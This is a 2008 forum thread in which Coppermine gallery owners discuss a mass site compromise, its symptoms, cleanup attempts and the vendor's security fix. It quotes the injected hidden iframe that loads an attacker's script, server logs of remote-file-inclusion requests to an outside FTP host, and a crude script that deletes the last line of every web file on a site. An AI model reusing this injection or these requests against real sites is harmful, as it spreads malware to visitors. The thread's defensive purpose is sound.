Sorry to tell you this but you have been hacked - several times by the look of it. View the page source on your main page and you'll see line after line pointing at the hackers server http://cdpuvbhfzz.com/dl/adv598.php in obfuscated code....
<iframe src="http://cdpuvbhfzz.com/dl/adv598.php" width=1 height=1></iframe>
Other problem is that it seems you are running quite an old version of Coppermine, version 1.4.5. Anyway, whether you remove the hack line by line from each and every infected file or you simply replace everything from a clean backup is up to you. Hopefully the Dev Team will have a patch pretty soon. But this is a sophisticated hack and I guess it may take a while to write the patch. End even with the patch, you'll still have to clean up the mess.
Best wishes, G.
-
Sorry to tell you this but you have been hacked - several times by the look of it. View the page source on your main page and you'll see line after line pointing at the hackers server http://cdpuvbhfzz.com/dl/adv598.php in obfuscated code....
Other problem is that it seems you are running quite an old version of Coppermine, version 1.4.5. Anyway, whether you remove the hack line by line from each and every infected file or you simply replace everything from a clean backup is up to you. Hopefully the Dev Team will have a patch pretty soon. But this is a sophisticated hack and I guess it may take a while to write the patch. End even with the patch, you'll still have to clean up the mess.
Best wishes, G.
Yes I know we have been hacked.
One thing I find very interesting is that when I was accessing our site on one of my laptops I got a Trend message saying I was being attacked by VIRUS XML HACK AQ. I could not read what Trend had done about it because the laptop planted and when I rebooted it came up with an unrecoverable system error.
So I went onto the Trend site and found it had no knowledge of XML HACK AQ that it had warned me about, nor any recognition of cdpuvbhfzz
We have phoned Trend Australia - northern hemisphere offices being closed - and they no nothing about this. Seems wierd to me.
-
Yes I know we have been hacked.
One thing I find very interesting is that when I was accessing our site on one of my laptops I got a Trend message saying I was being attacked by VIRUS XML HACK AQ. I could not read what Trend had done about it because the laptop planted and when I rebooted it came up with an unrecoverable system error.
So I went onto the Trend site and found it had no knowledge of XML HACK AQ that it had warned me about, nor any recognition of cdpuvbhfzz
We have phoned Trend Australia - northern hemisphere offices being closed - and they no nothing about this. Seems wierd to me.
Hmm nasty. I run Linux on all my PC's and have not been affected by looking at any of the affected sites (touch wood!). But I have been unable to de-obfuscate the javascript generated by adv598.php either, so I still have no idea what it contains - though it has the potential to be very nasty. Of course, if it is a virus, (and I say if) then any windows user looking at your site could be at risk. You might want to give Trend another call and point them to the hacker's server:- http://cdpuvbhfzz.com/dl/adv598.php and see what they make of the script? I would certainly be interested to know.
Best wishes, G
-
So is this definitely a Coppermine issue (and if so is it worth disabling it until a fix is found - having to reupload every PHP file for a site is soul destroying :-[)?
I've been hit with the same attack (twice on one site, once on another). The code is replicated across all PHP files (which is a mess to clean up). The first time around it the coppermine gallery was 4.12 and the second it was 4.1.6.
It's resolved by re uploading all files again (and you need to add in some configuration changes as things like album and column are messed up). On each restored gallery though I get errors when attempting to batch add new files (which is why I came to the forum initially) which states Unable to create thumbnail or reduced size image.
Personally I was leaning towards the attacker coming in through either some of my custom php code or the cutenews cms script. If it helps here are some of the logs which were leading me to that belief (I'm not an expert it's just the frequent rapid calls to the scripts made me suspicious).
[09/04/2008 16:38:29] NOTICE: Undefined variable: template in line 42 of file /DIRECTORY/STRUCTURE/cutenews/inc/functions.inc.php
[09/04/2008 16:38:29] NOTICE: Undefined variable: show in line 43 of file /DIRECTORY/STRUCTURE/cutenews/inc/functions.inc.php
[09/04/2008 16:38:29] NOTICE: Undefined variable: POST in line 32 of file /DIRECTORY/STRUCTURE/cutenews/show_news.php
[09/04/2008 16:38:29] NOTICE: Undefined variable: CN_HALT in line 67 of file /DIRECTORY/STRUCTURE/cutenews/show_news.php
[09/04/2008 16:38:29] NOTICE: Undefined variable: static in line 67 of file /DIRECTORY/STRUCTURE/cutenews/show_news.php
[09/04/2008 16:38:29] NOTICE: Undefined index: in line 313 of file /DIRECTORY/STRUCTURE/cutenews/inc/functions.inc.php
[09/04/2008 16:38:29] NOTICE: Undefined variable: my_q in line 322 of file /DIRECTORY/STRUCTURE/cutenews/inc/functions.inc.php
[09/04/2008 16:38:29] NOTICE: Undefined variable: my_q in line 324 of file /DIRECTORY/STRUCTURE/cutenews/inc/functions.inc.php
[09/04/2008 16:38:29] NOTICE: Undefined index: in line 313 of file /DIRECTORY/STRUCTURE/cutenews/inc/functions.inc.php
[09/04/2008 16:38:29] NOTICE: Undefined variable: my_q in line 322 of file /DIRECTORY/STRUCTURE/cutenews/inc/functions.inc.php
[09/04/2008 16:38:29] NOTICE: Undefined variable: my_q in line 324 of file /DIRECTORY/STRUCTURE/cutenews/inc/functions.inc.php
[09/04/2008 16:38:29] NOTICE: Undefined offset: 1 in line 14 of file /DIRECTORY/STRUCTURE/cutenews/inc/shows.inc.php
[09/04/2008 16:38:29] NOTICE: Undefined offset: 2 in line 15 of file /DIRECTORY/STRUCTURE/cutenews/inc/shows.inc.php
[09/04/2008 16:38:29] NOTICE: Undefined variable: member_db_line in line 54 of file /DIRECTORY/STRUCTURE/cutenews/inc/shows.inc.php
[09/04/2008 16:38:29] NOTICE: Undefined offset: 4 in line 56 of file /DIRECTORY/STRUCTURE/cutenews/inc/shows.inc.php
[09/04/2008 16:38:29] NOTICE: Undefined offset: 7 in line 64 of file /DIRECTORY/STRUCTURE/cutenews/inc/shows.inc.php
[09/04/2008 16:38:29] NOTICE: Undefined offset: 5 in line 64 of file /DIRECTORY/STRUCTURE/cutenews/inc/shows.inc.php
[09/04/2008 16:38:29] NOTICE: Undefined offset: 2 in line 65 of file /DIRECTORY/STRUCTURE/cutenews/inc/shows.inc.php
[09/04/2008 16:12:12] WARNING: main() [<a href='function.include'>function.include</a>]: Failed opening '/DIRECTORY/STRUCTURE/Functions/Cache_End.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in line 88 of file /DIRECTORY/STRUCTURE/index.php
[09/04/2008 16:15:52] WARNING: main(/DIRECTORY/STRUCTURE/Functions/Cache_End.php) [<a href='function.main'>function.main</a>]: failed to open stream: No such file or directory in line 88 of file /DIRECTORY/STRUCTURE/index.php
[09/04/2008 16:15:52] WARNING: main(/DIRECTORY/STRUCTURE/Functions/Cache_End.php) [<a href='function.main'>function.main</a>]: failed to open stream: No such file or directory in line 88 of file /DIRECTORY/STRUCTURE/index.php
[09/04/2008 16:15:52] WARNING: main() [<a href='function.include'>function.include</a>]: Failed opening '/DIRECTORY/STRUCTURE/Functions/Cache_End.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in line 88 of file /DIRECTORY/STRUCTURE/index.php
[09/04/2008 16:19:56] WARNING: main(/DIRECTORY/STRUCTURE/Functions/Cache_End.php) [<a href='function.main'>function.main</a>]: failed to open stream: No such file or directory in line 88 of file /DIRECTORY/STRUCTURE/index.php
[09/04/2008 16:19:56] WARNING: main(/DIRECTORY/STRUCTURE/Functions/Cache_End.php) [<a href='function.main'>function.main</a>]: failed to open stream: No such file or directory in line 88 of file /DIRECTORY/STRUCTURE/index.php
[09/04/2008 16:19:56] WARNING: main() [<a href='function.include'>function.include</a>]: Failed opening '/DIRECTORY/STRUCTURE/Functions/Cache_End.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in line 88 of file /DIRECTORY/STRUCTURE/index.php
[09/04/2008 16:22:07] WARNING: main(/DIRECTORY/STRUCTURE/Functions/Cache_End.php) [<a href='function.main'>function.main</a>]: failed to open stream: No such file or directory in line 88 of file /DIRECTORY/STRUCTURE/index.php
[09/04/2008 16:22:07] WARNING: main(/DIRECTORY/STRUCTURE/Functions/Cache_End.php) [<a href='function.main'>function.main</a>]: failed to open stream: No such file or directory in line 88 of file /DIRECTORY/STRUCTURE/index.php
-
You might want to give Trend another call and point them to the hacker's server:- http://cdpuvbhfzz.com/dl/adv598.php and see what they make of the script? I would certainly be interested to know.
Best wishes, G
Phones engaged, voice mail on, but have emailed my direct contact with that info.
-
@ Llama8668:
There appears to be an issue with Coppermine. However that does not mean there isn't an issue with other PHP scripts as well. I guess we'll know more when the Coppermine Dev team comes back with a patch and its recommendations.
@ Marian:
I'm really interested to hear what Trend has to say. I'm as keen to find out what's behind this as I am to get a fix. However, it seems this is something relatively new so there may not be any quick answers.
Anyway, its 4 AM here in Old Blighty and I am going to hit the hay if you'll excuse me. I spent most of last night researching this too and I'm more than a little sleepy. Good night all. :D
Best wishes, G
-
I only run three stock scripts on the pages. Coppermine, cutenews and invision powerboard. The first directory which when down had all three. The second one had only Coppermine and Invision are running.
Is the best course of action to turn the gallery off (or simply redirect all traffic through .htaccess) until there's a patch (this hack is effecting a lot of files as it hits all PHP files on the site)?
Also how malicious is the code that's injected (it loads boxes only is that due to the file not working correctly or is it being included on pages as planned)? Could it be simply waiting to reach a large number of infected pages and then be turned on (to distribute a virus or something)?
-
So is this definitely a Coppermine issue (and if so is it worth disabling it until a fix is found
That is the real question. Without the answer how does one stop it happening again?
-
Hi, I've had a look through help files and such but can't seem to find anything that'll help me out. My problem is quite involved. Firstly I logged onto my site earlier and found that the extremely annoying 'cdpuvbhfzz' hack has attacked all the php files on my server after a google search I found this thread (http://forum.coppermine-gallery.net/index.php?topic=51671.msg250202) and decided to upgrade as was sugested. Then as I was uploading the new files about half way through my FTP just kept saying "File Error" and now won't let me upload anything to that server (my others are fine). So I manually finished the upgrade but now all I get is a blank page, no matter what I do. I checked the index.php file source and all there is is:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=windows-1252"></HEAD>
<BODY></BODY></HTML>
I downloaded my entire gallery a few months ago and have kept my copy updated so I tried to put the code back into the index.php but when I save it and then re-open it the coding is gone again. So now I'm stuck, can't use FTP, can't update the files and haven't got a clue.
I'd really appreciate any help since my gallery have over 3000 pictures in it and I'd hate to have to start from scratch uploading them again.
-
Question for the affected: Do you all have URI uploads enabled?
This shit happened again with the only difference that this time the 142739_298w3 file is not present on the directory indicated /userpics/1001/142739_298w3.jpg. I'm the admin of my gallery and the only one that can upload. in any case I had URI upload enabled for the administrator and I've disabled it.
Let us all know of any patch to avoid this...
Thanks
-
Behind the scenes work is underway to get this fixed. In the mean time disable URI uploads as Nibblers suggests.
-
Some information on the domain itself.
http://whois.domaintools.com/cdpuvbhfzz.com
Interesting whois record.
-
What we could use is a report from someone who was already running cpg1.4.16 (and only coppermine) on his webspace before the infaction happened.
I had a problem yesterday with intermediate (mid-size images) not displaying properly. Turns out the solution to this was to simply shut off the EXIF data display --- which I did. This is in a separate forum posting.
As part of trying to figure out the mid-size image problem, I realised I hadn't updated the gallery to 1.4.16 (I was running 1.4.12). I updated successfully to 1.4.16 yesterday afternoon, UK time, and all was well. Once I turned off the EXIF data display, the website --- www.bark.ch (http://www.bark.ch) --- seemed to be working perfectly.
I woke up this morning with Kaspersky growling at me. Seems that when I try to go to www.bark.ch with IE7 I get what Kaspersky says is "Trojan-Downloader.Java.OpenStream.c." Kaspersky also mentions ..//cdpuvbhfzz.com/dl/loadereadv598.jar/Matrix.cl and ..//cdpuvbhfzz.com/dl/java.jar/GetAccess.class
It seems that our CPG site has been hacked. And we were running 1.4.16 at the time, and the only thing we have on the www.bark.ch (http://www.bark.ch) domain is CPG. This, however, runs on a dedicated Linux server with our other websites, which include other CPG galleries (all fine --- so far), and some BB's (also fine).
As I'd installed 1.4.16 yesterday, it was quite easy to find files that had been amended since the update. I removed these files from our server, and I saved them --- safely --- in a folder on my workstation. I can zip them up and attach them here if they'd be helpful.
I then proceeded to re-install 1.4.16, as I'd done yesterday. It seems to have installed an updated correctly --- no warning signs or other flags. But the problem is still there when trying to view the site with IE.
As we have a managed server, I've contacted our hosting company and they are in the process of trying to track this down for me.
I'm afraid that much of the intricate workings of CPG and PHP are over my head --- which is why, at least with PHP, we rely upon the folks who manage our server.
If I can help in any way, please let me know. I'll also continue to watch this posting to see if others have been able to solve this problem --- and find a way to prevent it from happening again.
-
Craig , don't forget to follow up on Nibblers advice of disabling URI upload possibility. And thanks for the post.
-
Thanks for that. I had already (this morning) disabled the URI upload possibility.
Now waiting for our server people to see what they can find --- and/or the folks here who are working on this.
-
May not be relevant, but thought I would mention it just in case. I am with the same host as the original poster - 1&1 (in the UK)
-
Would it be possible to get instuctions on how to disable URI uploads (is it just a case of setting the upload slots to 0?) and is that enough to stop the hack?
Is it possible to prevent the mass writing of files if the script is run (re uploading the coppermine folder isn't too much of a hassel but the writing of code to hundreds of files outside of the gallery folder is a nightmare). Is there anyway to automate the removal of code from the files in a similar automated way?
For the moment I've got a .htaccess redirect on all gallery scripts (so anyone hitting the /gallery/ directory is pointed back to the root). Is that enough to stop the hack. Is it overkill for the problem (ideally I'd like to have the galleries at least accessible whilst a patch is found).
If it helps I get similar trojan errors from the bach.ch site when viewing it in IE7 (the follow is the output from the AV (http://img167.imageshack.us/img167/628/phpissueuk1.jpg). The source code shows the iframe still present at the top of the site.
-
What I have done is
Added a php.ini to the gallery directory, using the openbase_dir option to lock scripts in that directory to that directory and below.
I also did the same for all my other products. I think the effectiveness of this will depend on the ISP allowing extra php.ini files, you can check by using the phpinfo option in Coppermine to check if it's picked up.
To disable URI uploads the only place I could find was the Groups Panel in the Admin menu.
-
Disable uploading on the groups page. You should disable uploading completely for untrusted users (anonymous + unverified registrations) to be safe until the next version is released.
You should not have your entire website writable by PHP scripts if you can avoid this. Coppermine only needs certain things writable, other apps are the same.
Note that the cause is known and the fix has been identified so there is no need to post random bits of helpful information or code. It's just cluttering the thread which is long enough already.
-
The problem is that I'd need step by step instructions as to how to tidy things up (for example effected files are chmod to 644 so would preventing writing be done by switching register_globals off?). I guess this doesn't matter if it's being patched but the impact of the hack suggests that myself and others might not have setup directories and files correctly.
I know that coppermine is freeware and the problem may have been identified by coppermine admins, but this code is being served on hundreds of pages (there's several in here that have reported being affected) so if it targets site visitors it'd be nice to get an official note as to what and how (even if it's not it'd be nice to get an understanding of wether this is a coppermine issue alone or if it's effecting other PHP scripts and code).
-
I have the same issue since last night. We have been hacked as well and besides only the Coppermine php files it has infected all php files on the server including our WordPress installation. I hadn't made a database backup in a long time which is extremely stupid. I wanted to know if it would hurt to backup the database right now with the php files on our server being infected. Or does this virus also infect the Mysql databases? Our host, which is GoDaddy.com told us they could fix our website from one day earlier but they will charge us $150 us dollar. Is that normal?
I have no idea on how to get this mess sorted out and cleaned up by myself.
-
Disable uploading on the groups page. You should disable uploading completely for untrusted users (anonymous + unverified registrations) to be safe until the next version is released.
I had disabled uploading on my site when this happens, but i had not the last version of cpg instead...
Just to help.
I have updated to the new version and close the folder on the server until a fix is founded.
Thanks.
-
I just found out that 'debugger.inc.php' is the only file not affected with the virus. I am probably late on this but I thought I'd report it.
-
That's deliberate. If the malware were appended there the gallery would break.
-
I had a problem yesterday with intermediate (mid-size images) not displaying properly. Turns out the solution to this was to simply shut off the EXIF data display --- which I did. This is in a separate forum posting.
We had the same problem but EXIF was already off. In our case it was being caused by the intermediate pic size having been changed to 1 pixel. We changed it back to 600 and all is well in that respect.
-
I probably get in trouble for posting this, but I thought I might be able to help someone, I was running 1.4.13, so I am not asking for help, just to help others in my situation.
If you get the damage to your files, what I did was the the script posted earlier and modified it to remove the last line of any affected files. Please note it worked for me, but I have no idea if it will cause any additional problems.
killorcure.php
<?php
function fileExtension($file) {
$fileExp = explode('.', $file);
$filetype = $fileExp[count($fileExp)-1];
return $filetype;
}
function parse($path) {
$dir_array = array();
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
$try_dir = $path.$file.'/';
if(is_dir($try_dir)) {
array_push($dir_array, $try_dir);
}
else {
if ($path[strlen($path)-1] != '/') {
$path.= '/';
}
$f_ext = fileExtension($file);
if($f_ext=="php" || $f_ext=="html" || $f_ext=="htm") {
if($file!="debugger.inc.php") {
cutline($path.$file);
}
}
}
}
}
closedir($handle);
}
return $dir_array;
}
function launch() {
$total = 0;
$last = 1;
$last_num = 0;
$path = $_SERVER['DOCUMENT_ROOT'];
$dirs = array();
array_push($dirs, $path);
while($last) {
$last_num = 0;
for( $j=$total; $j<$total+$last; $j++) {
$temp_dirs = parse($dirs[$j]);
$last_t = sizeof($temp_dirs);
$last_num += $last_t;
for( $i=0; $i<$last_t; $i++) {
array_push($dirs, $temp_dirs[$i]);
}
}
$total += $last;
$last = $last_num;
}
}
function cutline($filename,$line_no=-1) {
$strip_return=FALSE;
$data=file($filename);
$pipe=fopen($filename,'w');
$size=count($data);
if($line_no==-1) $skip=$size-1;
else $skip=$line_no-1;
for($line=0;$line<$size;$line++)
if($line!=$skip)
fputs($pipe,$data[$line]);
else
$strip_return=TRUE;
return $strip_return;
}
echo "~!";
launch();
?>
DO NOT run it more than once as it does not mind what is on the line it deletes
Thanks for the script, this script worked really good, also make sure you delete the files in albums/userpics/10001 (The Zip file and associated jpg), running the script at least let me access my site, now I need to make back-ups and completely re-install coppermine. I will post my log files later.
PS - This isn't a coppermine problem, my Zencart store was infected and that is a standalone site (i.e. - not integrated into any other sites.) My 3 other coppermine sites were fine, but they don't allow log-ins
-
We put the back up in this morning; ran grep cdpuvbhfzz * -R > hacked.txt and all was clear, disabled URI. Now we have been hacked again.
No, we haven't yet upgraded as we were waiting for your new version.
-
So does disabling URI and URL for guests (and if that is extended to all other groups as well?) not fix it (I've also put the galleries back up but will block access again if they're still vulnerable)?
-
So does disabling URI and URL for guests (and if that is extended to all other groups as well?) not fix it (I've also put the galleries back up but will block access again if they're still vulnerable)?
Seems not.
-
Did you remove all instances of the uploaded file (it seems the hack might use the URI functionality of coppermine to upload a 142739_298w3 .zip/.jpg file to the default upload folder, this is then run to trigger the mass editing of files).
Is there any other quick fix (such as temporarily removing URI related files or code) which could be employed as a stop gap?
-
You should disable uploading completely for untrusted users (anonymous + unverified registrations) to be safe until the next version is released.
-
We haven't allowed posting by anyone other than admin for well over a year and have never had registered users.
-
You should disable uploading completely for untrusted users (anonymous + unverified registrations) to be safe until the next version is released.
Yes, sir. I've done that. Did it first thing this morning, UK time. We've not allowed posting by anyone (other than me, as admin) for several years, but we did have the URI Upload boxes (in Groups) set to other than 0. Now 0's everywhere.
And I understand that you're all working very hard --- and I appreciate that, thank you --- to create the next version of CPG, which will prevent this problem happening again.
On our own CPG site, although we have completely re-uploaded the latest version --- and we were running the latest version at the time of the attack last night --- we still seem to have this problem.
I guess what I don't understand (and please don't growl at me for being thick --- guilty as charged!) is whether the next version, when released, will actually fix the current problem on my www.bark.ch (http://www.bark.ch) website, or will only prevent it from happening again.
If it won't fix it, should I have my server people roll-back the site to yesterday's backup now? And if we restore from yesterday's back-up, and are certain that uploading from other users is completely, totally shut down, is the problem unlikely to reoccur with the current version of CPG?
I guess I'm just trying to find out if I should wait for the new version --- because it will also fix this problem --- or whether we should restore, be sure uploads are disabled, and then wait for the new release?
Sorry for the questions. I know you're all busy, and the last thing you want is my sticking my nose in . . . .
-
It looks to me as though this is escalating.
From our server logs:
root@server [/home3/public_html_hack]# cat /etc/httpd/domlogs/bymnews.com | grep upload
208.16.236.69 - - [10/Apr/2008:13:42:23 +0200] "GET /news/newsDetails.php?id=5686/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 200 9290 "-" "libwww-perl/5.805"
208.16.236.69 - - [10/Apr/2008:13:42:24 +0200] "GET /home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok?? HTTP/1.1"
404 - "-" "libwww-perl/5.805"
208.16.236.69 - - [10/Apr/2008:13:42:24 +0200] "GET /news/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 404 - "-" "libwww-perl/5.805"
217.67.26.84 - - [10/Apr/2008:14:49:37 +0200] "GET /news/newsDetails.php?id=5686/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 200 9584 "-" "libwww-perl/5.805"
217.67.26.84 - - [10/Apr/2008:14:49:38 +0200] "GET /home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok?? HTTP/1.1"
404 - "-" "libwww-perl/5.805"
217.67.26.84 - - [10/Apr/2008:14:49:38 +0200] "GET /news/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 404 - "-" "libwww-perl/5.805"
85.114.135.126 - - [10/Apr/2008:14:50:51 +0200] "GET /news/newsDetails.php?id=5686/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 200 9584 "-" "libwww-perl/5.805"
85.114.135.126 - - [10/Apr/2008:14:50:51 +0200] "GET /home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok?? HTTP/1.1"
404 - "-" "libwww-perl/5.805"
85.114.135.126 - - [10/Apr/2008:14:50:52 +0200] "GET /news/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 404 - "-" "libwww-perl/5.805"
209.85.105.25 - - [10/Apr/2008:15:26:44 +0200] "GET /news/newsDetails.php?id=5686/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 200 9584 "-" "libwww-perl/5.79"
209.85.105.25 - - [10/Apr/2008:15:26:45 +0200] "GET /home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok?? HTTP/1.1"
404 - "-" "libwww-perl/5.79"
209.85.105.25 - - [10/Apr/2008:15:26:46 +0200] "GET /news/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 404 - "-" "libwww-perl/5.79"
195.5.117.252 - - [10/Apr/2008:18:46:01 +0200] "POST /photos/upload.php HTTP/1.1" 200 6920 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [10/Apr/2008:18:47:13 +0200] "POST /photos/upload.php HTTP/1.1" 200 43854 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [10/Apr/2008:18:47:22 +0200] "POST /photos/upload.php HTTP/1.1" 200 6782 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
-
You are asking questions I can't give answers for. How you run your server is up to you. The new version will close *a* security hole I found in upload.php when I checked it after seeing it in the logs people posted here. It won't repair anything, just closes a hole. Since this vulnerability was not responsibly disclosed to us (ie. this is a zero day exploit) I can't know that that is how your site was hacked. I can't know what scripts were uploaded to your server. I don't know any more than you do.
-
The trem/oldbisok is another thing. See these:
http://www.cpgnuke.com/Forums/viewtopic/t=22241/
http://sunsite.queensu.ca/accesswatch-1.32/details.html//playing.php/common/db.php
Lots more from a Google.
-
Of course it is. Coppermine does not have the files that you show being requested. I already asked people to stop posting random bits of information and I really don't want to have to lock the thread.
-
The same has happened to me. I have coppermine in a gallery folder (which i think is a virtual directory?) http://gallery...
Only coppermine exists in this folder and all the php files in this folder have been modified.
I had a similar file but it was a jpg called
142739_298w3.jpg
-
Of course it is. Coppermine does not have the files that you show being requested. I already asked people to stop posting random bits of information and I really don't want to have to lock the thread.
I apologise but as CPGNuke mentioned it ging for Coppermine I thought maybe another vulnerability might be under target.
-
If cdpuvbhfzz is a successful exploit of all galleries then is still a little surprising that it's only effected a few so far (there are big sites which run coppermine which you'd think would be targeted en mass if damage were desired).
So far the cleaned sites are okay (all URI and URL slots have been set to 0 and all the checkboxes for guests are set to no). It's not too much of a problem now that things are back online (and that it's being looked into by the coppermine staff). If the automated removal script a few pages back can be run by all then that will remove the frustration.
-
One of my sites has been hacked again (that's with URI and URL set to 0 for all groups) :-\. There's no obvious sign of the offending file within the default upload folder (though the customer header edit points to 142739_298w3.jpg). Perhaps I'm not cleaning the right files from the gallery directory?
-
One of my sites has been hacked again (that's with URI and URL set to 0 for all groups) :-\. There's no obvious sign of the offending file within the default upload folder (though the customer header edit points to 142739_298w3.jpg). Perhaps I'm not cleaning the right files from the gallery directory?
I hope this wont get this thread locked, but I would like to know what versions of php and apache those who have been hacked are running?
-
This thread will get locked if you don't stop posting irrelevant questions and bits that are meaningless ::).
Do I find it funny that especially people who have a notorious record of misbehaviour on this board turn up on this thread after a long period of silence? No.
OK, everybody please stop it, really! Stop replying to this thread, asking the same questions over and over. We can't tell you how to clean your site once it has been hacked - that's beyond the scope of this site. We can only tell you what you can do to prevent getting hacked: do as Nibbler suggested repeatedly. Don't ask stupid questions like "how can I disable URI uploads" this is being explained in the docs and has been explained in this thread as well.
I understand that those of you who got hacked are upset, but it certainly won't help to clutter this thread even further.
From now on I'll delete every invalid new posting (like "help, I've been hacked as well" or similar crap) from this thread immediately and I will ban that user from posting for a week. I mean it! Only totally valid replies to this thread are allowed - if you're not sure if your posting is going to be valid, don't post it.
Those who haven't been hacked should still do as Nibbler suggested and lock down their gallery: disallow URI uploads, disallow uploads from untrusted sources. Make a backup of your files and your database now.
Joachim
-
ok hoping not to be banned I would give you some informations.
I've closed the URI upload and the hack has happened again but in half, I think.
I've found in Path to custom header include the usual path at the .jpg o .zip file /albums/userpics/1001/xxxxx the only difference is that the file was not here and neither the directory 1001.
My configuration option was always changed this way
Number of albums to display is set to 1 (mine was 8)
Number of columns for the album list is set to 1 (mine was 2)
Number of columns on thumbnail page is set to 1 (mine was 4)
Number of rows on thumbnail page is set to 1 (mine was 4)
I've noticed that every time these setting are changed in wxactly that way, this means that my gallery was "hacked" and that I'll find the string in Path to custom header include
I hope this will help you guys...
-
You probably haven't sanitized the hacked gallery. Once you have been hacked, it's not enough to just close the vulnerability, as the attacker probably has left a backdoor. You haven't teven told us if you have successfully removed the payload of the trojan. You have to make sure that your site was clean before being able to post a report about a re-infection.
-
I've removed the 142739_298w3.zip or 142739_298w3.jpg file the first time I've noticed the infection. After that I've not found it anymore. I'm the only one allowed to upload on my gallery and I've disabled the URI upload for all groups. Now that you've told me, I've checked in the userpics forlder (that I don't use to upload pics) and found two files 1x1 pixel called gd1.jpg and gd2.jpg so I've removed them. All the other files are regular image files and the index.html and index.php are ok.
Problem is. How can I sanitize completely the gallery to avoid these annoyances? It seems that now the attack consist only in changing the parameters I've explained in my last message. There's a file I could lock to avoid these changes?
-
We can't tell you how to clean your site once it has been hacked - that's beyond the scope of this site.
-
After removing all the unwanted code, the offending Zip & Jpg file, I noticed two pics had been added to one of my batch add galleries which I couldn't remove via coppermine, I had to delete the full album. Check your last additions for all your albums, as I noticed my batch album had the original date I uploaded all the files and the last two pics had been added on the day of the attack, the pics will show a thumbnail of another image but cannot show you an enlarged version as it is pointing to the zip file. Follow all the advice on this board then do a double check of all your images to see what file the thumbnail is pointing to, also make sure the dates match when they were uploaded. Hope this helps some of you without getting me a ban :-)
-
The payload of the hack may differ from site to site. Please don't post your (well-meant) suggestions here, as the payload may be totally different on someone else's site.
-
The security fix discussed in this thread has been rolled into a new package - see the announcement thread cpg1.4.17 Security release - upgrade absolutely mandatory! (http://forum.coppermine-gallery.net/index.php/topic,51787.0.html)
The new version will not cure sites that are already infected - it will only keep your site from getting infected in the first place. All who are running older versions than cpg1.4.17 need to upgrade instantly.
As suggested in the announcement thread for the release of cpg1.4.17, I'll try to come up with instructions how to clean sites that have already been infected.
Basic procedure (to give you a general idea what you'd need to do):
- Make a full backup of all files and folders on your webspace
- Replace all possibly infected files with fresh ones that are guaranteed to be clean (from a fresh package)
- Scan the files and folders you downloaded for executable files: PHP, Perl files, bash scripts, whatever the user could have left (depending on the skills of the attacker) and delete all of them on your webspace (the tricky part being that you need to really find all backdoors)
- Browse the database, coppermine's user table. Search for admin accounts. Delete all that you don't know. Change the password of your own admin account
- Change all seurity-sensitive passwords (for FTP access, website control panel, mySQL) and reflect your changes in the apps you use (changed mySQL account!)
- Tell your webhost about the attack. Ask them to see the server logs for the period where the attack has happened
Joachim
-
@ Joachim:- Just wanted to say a big Thank You! to you and your team for fixing this so quickly.
Also wanted to let you know that the cdpuvbhfzz.com server seems no longer to be on-line. My guess its that UkrTeleGroup Ltd must have got a lot of complaints. Of course there's nothing to stop our attacker taking his domain and hosting it else where I suppose. Anyway I have patched both our Coppermine sites and am double-checking the clean-up as per your instructions. I think I shall have a beer now! Suggest you do same. :)
Best wishes, G.
-
And also from me. Can't imagine how you guys cope with tackling a problem like that whilst still answering all the other forum queries.
-
Thank you from me to for that rapid response.
One tiny little thing on checking my file levels after upgrading it shows
include/imageObjectGD.class.php 1.4.17 1.4.17 4378 4311
I would guess this is just a minor glitch in the update reference file in the package (my system can not connect to get the master one) ?
-
See http://forum.coppermine-gallery.net/index.php/topic,51804.0.html
-
Sorry missed that one. :(
-
No upgrade questions in this thread please.
-
Hello Everyone, what a nightmare this redirect has been.
I "believe" I have removed the hack from my gallery, but because I'm not sure how the hacker managed to place the redirect in the first place I'm not 100% sure how effective my method will be.
From what I've discovered it looks like redirect targets any file involved with the user interface, i.e. what someone sees in their browser. I found the dreaded piece of code:
<iframe src="http://cdpuvbhfzz.com/dl/adv598.php" width=1 height=1></iframe>
1. In my main index.php file
2. All php and html files of my custom theme
3. My config.inc.php and anycontent.php files
4. All the html files within my userpics and edit folders (within the albums folder)
5. The security.log.php file (for some reason)
6. Possibly admin.php as well
My method:
The first thing I did is upgrade to version 1.4.17, backing up my album and config.inc.php and anycontent.php files. This will overwrite any files infected with the above code which I've overlooked.
Open your config.inc.php and anycontent.php files (for example in notepad) before running the update and delete the nasty bit of code.
Delete the code within the other files mentioned above and run the update.
Others in this thread mentioned they found strange files and jpegs within there galleries, if you find anything untoward - undo/delete it. I didn't find anything out of place on my webserver. If you have any non-coppermine pages in your site - check them as they could be infected. If you're running other websites on the same server check those as well, my wiki site also got infected but I "cured" it in the same way.
If you don't believe me go to skys-edge.co.uk. At time of writing you won't be redirected, hopefully it will stay that way.
I do hope this is useful.
-
It happened again! This time is more strong. The more I delete the codes the more it comes back again.
-
